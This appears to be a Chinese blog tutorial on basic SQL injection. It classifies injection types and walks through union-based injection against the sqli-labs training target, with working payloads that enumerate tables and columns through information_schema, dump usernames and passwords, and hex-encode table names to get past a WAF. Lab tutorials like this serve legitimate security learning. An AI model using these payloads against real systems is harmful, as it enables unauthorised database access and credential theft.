2. 程式人生 > 其它 >SQL注入—基本認識及四種簡單型別

SQL注入—基本認識及四種簡單型別

阿新 • • 發佈：2021-08-11
前言 有網站服務的地方就需要有資料庫,SQL注入是指Web應用程式對使用者輸入資料的合法性沒有進行判斷,前端傳入後端的引數是可控的或沒有進行過濾的。 當帶入資料庫進行查詢,攻擊者通過構造不同的SQL語句來實現對資料庫的任意操作 SQL注入的兩個條件 1.引數使用者可控，可以修改上傳的資料 2.拼接後的SQL語句帶入資料庫查詢 Mysql資料庫特點 Mysql 5.0版本以後MySQL預設在資料庫中存放一個"information_schema"的資料庫，在該庫中,我們需要著重注意schema，tables，columns 基本認識 1.information_schema的介紹： information_schema:MySQL自帶的資料庫，儲存了資料庫中所有的資料庫、表和列資訊
information_schema.tables:所有表資訊 information_schema.columns:所有列資訊 table_schema:資料庫名稱 table_name:表名稱 column_name:列名稱 group_concat(table_name):列出所有表名 2.基本引數： GET:GET請求的引數是放在URL裡的，GET請求的URL傳參有長度限制，中文需要URL編碼，apache 最大為8192字元，GET直接可在URL裡面修改上傳引數 POST:POST請求的引數是放在body裡的，沒有長度限制，在POST請求裡'+'和'空格'是一樣，POST型只能抓包在包裡修改，在BurpSuite裡面可以直接顯示型別
 COOKIE:Cookie引數放在請求頭資訊，提交的時候伺服器會從請求頭獲取引數 ##GET&POST區別:GET型使用URL提交注入資料，POST型利用抓包工具修改POST資料部分進行提交注入 3.注入常用查詢系統函式: #MySQL版本 version() #資料庫使用者名稱 user() #資料庫名 database() #系統使用者名稱 system_user() #當前使用者名稱 current_user() #當前連結資料庫使用者名稱 session_user() #資料庫路徑，可以判斷資料庫搭建框架，猜測網站www路徑，後面寫shell是要知道絕對路徑的 @@datadir
 #資料庫安裝路徑 basedir #作業系統版本 @@version_compile_os SQL注入四種簡單型別 1.數字型：不存在閉合 select * from example where id=1; 2.字元型：存在閉合 select * from example where username='admin'; 3.like搜尋型：存在閉合 select * from example where title like '%標題%'; 4.xx型：只考慮閉合就行，根據報錯資訊判斷 注入方式——Union聯合注入法 什麼是聯合注入？ 聯合查詢:select a from b union select c from d where e; 一次顯示兩個查詢結果，可以使第一個查詢語句作為正常內容，第二個作為查詢語句來構造 具體步驟 1.判斷注入點，考慮閉合 2.使用order語句判斷列 #假如有n列，如果你的order by m，m>n:會出錯,m<=n:正常執行 3.聯合注入查看回顯位，注意使用union時前面的語句要是錯的 4.進行資料注入 判斷方式 1.數值型: 先傳入引數http://192.168.223.132/sqli-labs/Less-2/?id=1 出現數值 修改引數http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 出現報錯 修改引數http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 出現最初數值 id=1 and 1=2是假，傳回0，所以無法出現數值，id=-1 or 1=1為真，傳回1，和第一次輸入一致，可判斷為數值型 通過order by語句http://192.168.223.132/sqli-labs/Less-2/?id=-1 order by 3 判斷出有3列， http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 產生回顯，注意這裡是-1才能回顯，正常的網頁回顯只有一次。發現回顯位為2和3位，接下來就可以通過回顯位得出敏感資訊 2.字元型： 先傳參http://192.168.223.132/sqli-labs/Less-2/?id=1 出現數值 修改引數http://192.168.223.132/sqli-labs/Less-2/?id=1' 出現報錯資訊 添加註釋#，檢視結果http://192.168.223.132/sqli-labs/Less-2/?id=1' # 發現報錯消失 ## 解釋:字元型資料在傳入資料庫時，資料庫自身給其加上單引號，如id=1在內部其實為id='1' 而修改為id=1'在傳入時無法產生閉合，導致報錯，而註釋符使得系統新增的右半邊單引號被註釋， 取而代之的是我們自己新增的單引號作為右半邊單引號由此產生的注入可以使得單引號和註釋符之間的命令被過濾 eg:http://192.168.223.132/sqli-labs/Less-2/?id=-1' order by 3 # 隨後的操作可以在'和#之間進行SQL注入 ## 如果輸入#無法註釋，可以考慮網站編碼的問題，將#改為%23，正常POST型是#，%23無法解析，而GET型%23可以在URL裡面解析 3.搜尋型: ?id=1%' order by 3 # 其他操作與字元型大同小異 4.xx型： eg:輸入d'-->MySQL server version for the right syntax to use near ''d'')' at line 1 去掉左邊和右邊的一個單引號，再去掉自己輸入的d'，剩下的')即為型別 判斷出型別後其他操作與上述型別大同小異 總結： 第一次輸入id=xxx如果報錯才可以繼續判斷 數字型:id=1 and 1=2-->id=-1 or 1=1 字元型:1.'型 id=1'-->id=1' # （#如果不行換成%23） 2.')型 id=1')-->id=1') # 3.")型 id=1")-->id=1") # 規範化資料庫查詢操作調取敏感資訊 1.檢視當前資料庫表名 # 一個一個查 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 # 全部查出來 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ## 解釋:選擇3號回顯位，從所有表中列出表的名字，滿足資料庫的名稱為當前資料庫，簡而言之就是列出當前資料庫的所有表 2.查詢當前資料庫中指定表資訊列資料 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ##table_name='users'與table_name=0x7573657273 效果一致，只是將user轉換成16進位制，可用繞過WF 0b:二進位制0o:八進位制0x:十六進位制 3.注入出資料庫所有內容 union select 1,2,group_concat(id,0x7e,username,0x7e,password) from security.users #輸出id，username，password，中間以~作為分割，~的URL編碼為0x7e 注入流程——以數字型為例，靶場為sqli-labs/Less-2 #1出現數值 http://192.168.223.132/sqli-labs/Less-2/?id=1 #2 出現報錯資訊 http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 #3 發現數值和剛開始一樣 http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 #4 進行驗證，發現報錯和之前一樣 http://192.168.223.132/sqli-labs/Less-2/?id=0 #5 判斷列數為3 http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3 #6 判斷回顯位，發現為2和3 http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 # 注意使用union聯合注入時，前面id=-1報錯才能使得網頁進行回顯，即union前面的語句必須是錯誤的 #7 檢視當前資料庫表名 http://192.168.223.132/sqli-labs/Less-2/?id=-1 unionselect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #8 查詢當前資料庫中指定表資訊列資料 http://192.168.223.132/sqli-labs/Less-2/?id=-1union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() #9注入出資料庫所有內容 http://192.168.223.132/sqli-labs/Less-2/?id=-1union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users 結語 不管什麼型別，就是對SQL中各種型別的輸入進行閉合測試，構造合法SQL，欺騙後臺去執行

相關推薦

SQL注入—基本認識及四種簡單型別

前言 有網站服務的地方就需要有資料庫,SQL注入是指Web應用程式對使用者輸入資料的合法性沒有進行判斷,前端傳入後端的引數是可控的或沒有進行過濾的。

四種簡單的sql語句（增刪改查語句）

一、插入語句 insert into [table] ([column],[column],[column]) values(?,?,?) 二、刪除語句 delete

SQL注入具體流程及相關知識

SQL注入掃盲 為了讓每一個學習注入的人完整地瞭解SQL注入，此處以Mysql Union Query(聯合查詢)注入型別來講解。瞭解Mysql注入前我們還必須先了解“information_schema”這個資料庫。為了更直觀地展示，以圖形化介面P

Django的POST請求時因為開啟防止csrf，報403錯誤，及四種解決方法

Django預設開啟防止csrf(跨站點請求偽造)攻擊，在post請求時，沒有上傳csrf欄位，導致校驗失敗，報403錯誤

LVM的基本認識及使用

Logical Volume ManagerLVM是在物理裝置的基礎上，建立邏輯儲存裝置，邏輯儲存裝置可以隨意擴充，或縮減功能1、根據需求動態擴充，或縮減空間2、實現快照備份基本結構及概念 ·

四種簡單的動畫

>>> 1，alpha透明度變化 , /*** 透明度變化的動畫** @param view*/public void alpha(View view) {// 宣告動畫 完全透明--》完全不透明AlphaAnimation aa = new AlphaAnimation(0.0f, 1.0f);/

SQL server分頁的四種方法（算很全面了）

  這篇部落格講的是SQL server的分頁方法，用的SQL server 2012版本。下面都用pageIndex表示頁數，pageSize表示一頁包含的記錄。並且下面涉及到具體例子的，設定查詢第2頁，每頁含10條記錄。

SQL注入基礎知識及繞過方式

介紹 SQL注入即是指web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴，攻擊者可以在web應用程式中事先定義好的查詢語句的結尾上新增額外的SQL語句，在管理員不知情的情況下實現非法操作，以此來實現欺騙資料庫

初學SQL 注入之常見的幾種注入型別

技術標籤：日常操作sql資訊保安安全web SQL注入原理 老生常談，SQL注入攻擊的本質就是把使用者輸入的引數當做SQL語句來執行，Web應用程式對使用者輸入資料的合法性沒有判斷和過濾，攻擊者可以通過構造不同的SQL語

sqlserver資料庫 T-sql指令碼 基本知識及編寫格式

資料庫按照一定資料結構來組成，儲存和管理資料的倉庫，儲存在一起的相關資料的一個集合關係資料庫：建立在關係模型基礎上的資料庫

sql注入程式碼分析及預防

sql注入的原因，表面上說是因為 拼接字串，構成sql語句，沒有使用 sql語句預編譯，繫結變數。但是更深層次的原因是，將使用者輸入的字串，當成了 “sql語句” 來執行。

SQL注入基本知識

注入的基本知識及自己的一點見解 SQL注入基本知識參考這個部落格即可SQL注入

從ctfshow web2 題目梳理sql注入基本思路

題目是 “最簡單的SQL注入” ，此題是最基礎的SQL注入題目，後端針對前端傳入引數不做任何過濾

Java - 四種引用型別及應用場景

1. 強引用 new 一個物件的時候，就是強引用 Object object = new Object(); 只要強引用存在，垃圾回收就不會回收該物件，記憶體不足時會丟擲OOM。

Redis資料型別：五大基本資料型別及三種特殊型別

String （字串型別） String是redis最基本的型別，你可以理解成Memcached一模一樣的型別，一個key對應一個value。

Oracle工具PL/SQL的基本語法及識別符號

Oracle工具PL/SQL的基本語法  更新時間：2021年12月17日 16:04:28   作者：回憶若風  

ThreadLocal前奏:我理解的java四種引用型別

前言 為了理解ThreadLocal，掌握引用的概念是非常有必要的。 引用與物件 java中我們通過一個引用指向記憶體中物件。

Python xml、字典、json、類四種資料型別如何實現互相轉換

之前都是直接拿sax，或dom等庫去解析xml檔案為Python的資料型別再去操作，比較繁瑣，如今在寫Django網站ajax操作時json的解析，發現這篇帖子對這幾種資料型別的轉換操作提供了另一種更簡潔的方法，xmltodict和 dictt

Java的四種引用型別

（一） 強引用 Java強引用最常見，就是把一個物件賦給一個引用變數，這個引用變數就是強引用，但一個物件被強引用時，它處於可達狀態，不會被垃圾回收裝置回收，因此強引用是造成記憶體洩漏的主要原因之一。

C++中四種強制型別轉換：static_cast，reinterpret_cast，const_cast，dynamic_cast。

在C++中主要有四種強制型別轉換：static_cast，reinterpret_cast，const_cast，dynamic_cast。